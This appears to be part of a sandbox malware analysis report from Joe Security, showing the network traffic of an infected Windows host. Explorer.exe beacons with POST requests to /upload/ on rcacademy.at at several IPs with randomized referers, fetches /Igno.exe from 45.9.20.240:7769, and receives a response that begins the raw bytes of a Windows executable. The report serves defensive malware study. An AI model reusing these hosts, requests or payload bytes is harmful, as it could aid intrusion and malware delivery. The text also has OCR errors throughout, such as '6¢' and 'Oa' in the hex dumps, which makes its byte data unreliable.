4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htmI>
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Session ID

23

Timestamp

Dec 18, 2021
18:40:24.311146021 CET

Dec 18, 2021
18:40:25.273767948 CET

Session ID

24

Timestamp

Dec 18, 2021
18:40:25.521537066 CET

Dec 18, 2021
18:40:26.366404057 CET

Session ID
25

Timestamp

Dec 18, 2021
18:40:26.732639074 CET

Source IP

192.168.2.3

kBytes
transferred

10300

10301

Source IP

192.168.2.3

kBytes
transferred

10302

10303

Source IP
192.168.2.3

kBytes
transferred

10304

Copyright Joe Security LLC 2021

Source Port

49808

Direction

ouT

Source Port

49809

Direction

ouT

Source Port
49810

Direction

ouT

Destination IP Destination Port Process

187.156.124.76 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://tyyvx.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 347

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:24 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3¢ 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP Destination Port Process

186.74.208.84 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://puhjncv.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 187

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:25 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3¢ 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3¢ 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3¢ 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0/EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP Destination Port Process

110.14.121.125 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://awwyjfh.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 304

Host: rcacademy.at
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kBytes
Timestamp transferred

Dec 18, 2021 10305
18:40:27.913374901 CET

Session ID Source IP
26 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 10306

18:40:28.154803038 CET

Dec 18, 2021 10814
18:40:29.097306013 CET

Session ID Source IP
27 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 10815

18:40:29.340234995 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49811

Direction

ouT

Source Port
49813

Direction
ouT

Data

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:27 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htmI>

Destination IP Destination Port Process

187.156.124.76 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://fxogvbi.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 332

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:28 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP  Destination Port Process

187.156.124.76 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ovewuscdxx.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 214

Host: rcacademy.at
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kBytes
Timestamp transferred

Dec 18, 2021 10816
18:40:30.330672979 CET

Session ID Source IP
28 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 10817

18:40:30.653825045 CET

Dec 18, 2021 10818
18:40:31.620141029 CET

Session ID Source IP
29 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 10823

18:40:31.877278090 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49814

Direction

ouT

Source Port
49816

Direction
ouT

Data

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:29 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htmI>

Destination IP Destination Port Process

187.156.124.76 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://exigbr.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 264

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:31 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP  Destination Port Process

187.156.124.76 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://taujxug.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 162

Host: rcacademy.at
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Timestamp

Dec 18, 2021
18:40:32.838170052 CET

Session ID

3

Timestamp

Dec 18, 2021
18:39:51.393397093 CET

Dec 18, 2021
18:39:52.023986101 CET

Session ID
30

Timestamp

Dec 18, 2021
18:40:33.054435968 CET

Dec 18, 2021
18:40:33.682895899 CET

Session ID

31

Timestamp

Dec 18, 2021
18:40:33.753199100 CET

kBytes
transferred

10832

Source IP

192.168.2.3

kBytes
transferred

1160

1160

Source IP
192.168.2.3

kBytes
transferred

10836

10843

Source IP

192.168.2.3

kBytes
transferred

10845

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49745

Direction

ouT

Source Port
49822

Direction
ouT

Source Port

49827

Direction

ouT

Data

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:32 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htmI>

Destination IP Destination Port Process

186.74.208.84 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://hsajmfw.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 210

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:39:51 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
X-Powered-By: PHP/5.6.40

Content-Length: 8

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 04 00 00 00 70 e8 80 ef

Data Ascii: p

Destination IP  Destination Port Process

186.74.208.84 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://exuckhkjm.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 240

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:33 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 44

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 00 00 d8 80 d7 bd 9d d9 al 98 be 23 cd c5 88 81 d0 9e 5¢ 2d 5e 24 1f ba 6a 5a b5 aa 13 a3 c4 b5 fd 74 cd 61
fc ff 2d 55 5b 89 92 8a

Data Ascii: #\-"$jZta-U[

Destination IP Destination Port Process

45.9.20.240 7769 C:\Windows\explorer.exe

Data

GET /Igno.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 45.9.20.240:7769
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kBytes
Timestamp transferred

Dec 18, 2021 10847
18:40:33.818856001 CET

Session ID Source IP
32 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 11287

18:40:36.375397921 CET

Dec 18, 2021 11288
18:40:37.325932026 CET

Session ID Source IP

33 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49836

Direction
ouT

Source Port

49837

Direction

Data

HTTP/1.1 200 OK

Transfer-Encoding: chunked

Server: Microsoft-HTTPAPI/2.0

Date: Sat, 18 Dec 2021 17:40:29 GMT

Data Raw: 36 33 34 34 65 0d Oa 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fO 00 00 00 Oe 1f ba Oe
00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20
44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 Oe 3f dO 40 4a 5e be 13 4a 5e be 13 4a 5e be 13 d9 10 26 13
48 5e be 13 25 28 20 13 5b 5e be 13 25 28 14 13 2c 5e be 13 43 26 2d 13 4f 5e be 13 4a 5e bf 13 82 5e be 13 25 28 15 13
61 5e be 13 25 28 24 13 4b 5e be 13 25 28 23 13 4b 5e be 13 52 69 63 68 4a 5e be 13 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 db b8 6¢ 5f 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01 O
a 00 00 b6 04 00 00 5e 09 00 00 00 00 00 50 44 03 00 00 10 00 00 00 d0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05
00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 Oe 00 00 04 00 00 7a 4d 06 00 02 00 00 80 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 b3 04 00 3c 00 00 00 00 a0 Od 00 08 6b 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 Oe 00 50 17 00 00 50 13 00 00 1c 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 81 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 04
03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 36 b5 04 00
00 10 00 00 00 b6 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 04 c7 08
00 00 dO 04 00 00 d8 00 00 00 ba 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 72 73 72 63 00 00 00 08 6b
00 00 00 a0 0d 00 00 6¢ 00 00 00 92 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 f2 35
00 00 00 10 Oe 00 00 36 00 00 00 fe 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 b6 04 00 58 b6 04 00 6¢ b6 04 00 82 b6 04 00 9e b6 04 00 b2 b6 04
00 c4 b6 04 00 d8 b6 04 00 e4 b6 04 00 f4 b6 04 00 02 b7 04 00 12 b7 04 00 28 b7 04 00 3c b7 04 00 50 b7 04 00 70 b7 O
400 8a b7 04 00 a4 b7 04 00 bc b7 04 00 dO b7 04 00 dc b7 04 00 ea b7 04 00 00 b8 04 00 18 b8 04 00 3a b8 04 00 5a
b8 04 00 70 b8 04 00 8¢ b8 04 00 a8 b8 04 00 ba b8 04 00 ce b8 04 00 dc b8 04 00 e4 b8 04 00 fO b8 04 00 02 b9 04 00
1a b9 04 00 28 b9 04 00 4c b9 04 00 68 b9 04 00 80 b9 04 00 8c b9 04 00 9e b9 04 00 b2 b9 04 00 c6 b9 04 00 d8 b9 04
00 f2 b9 04 00 02 ba 04 00 1a ba 04 00

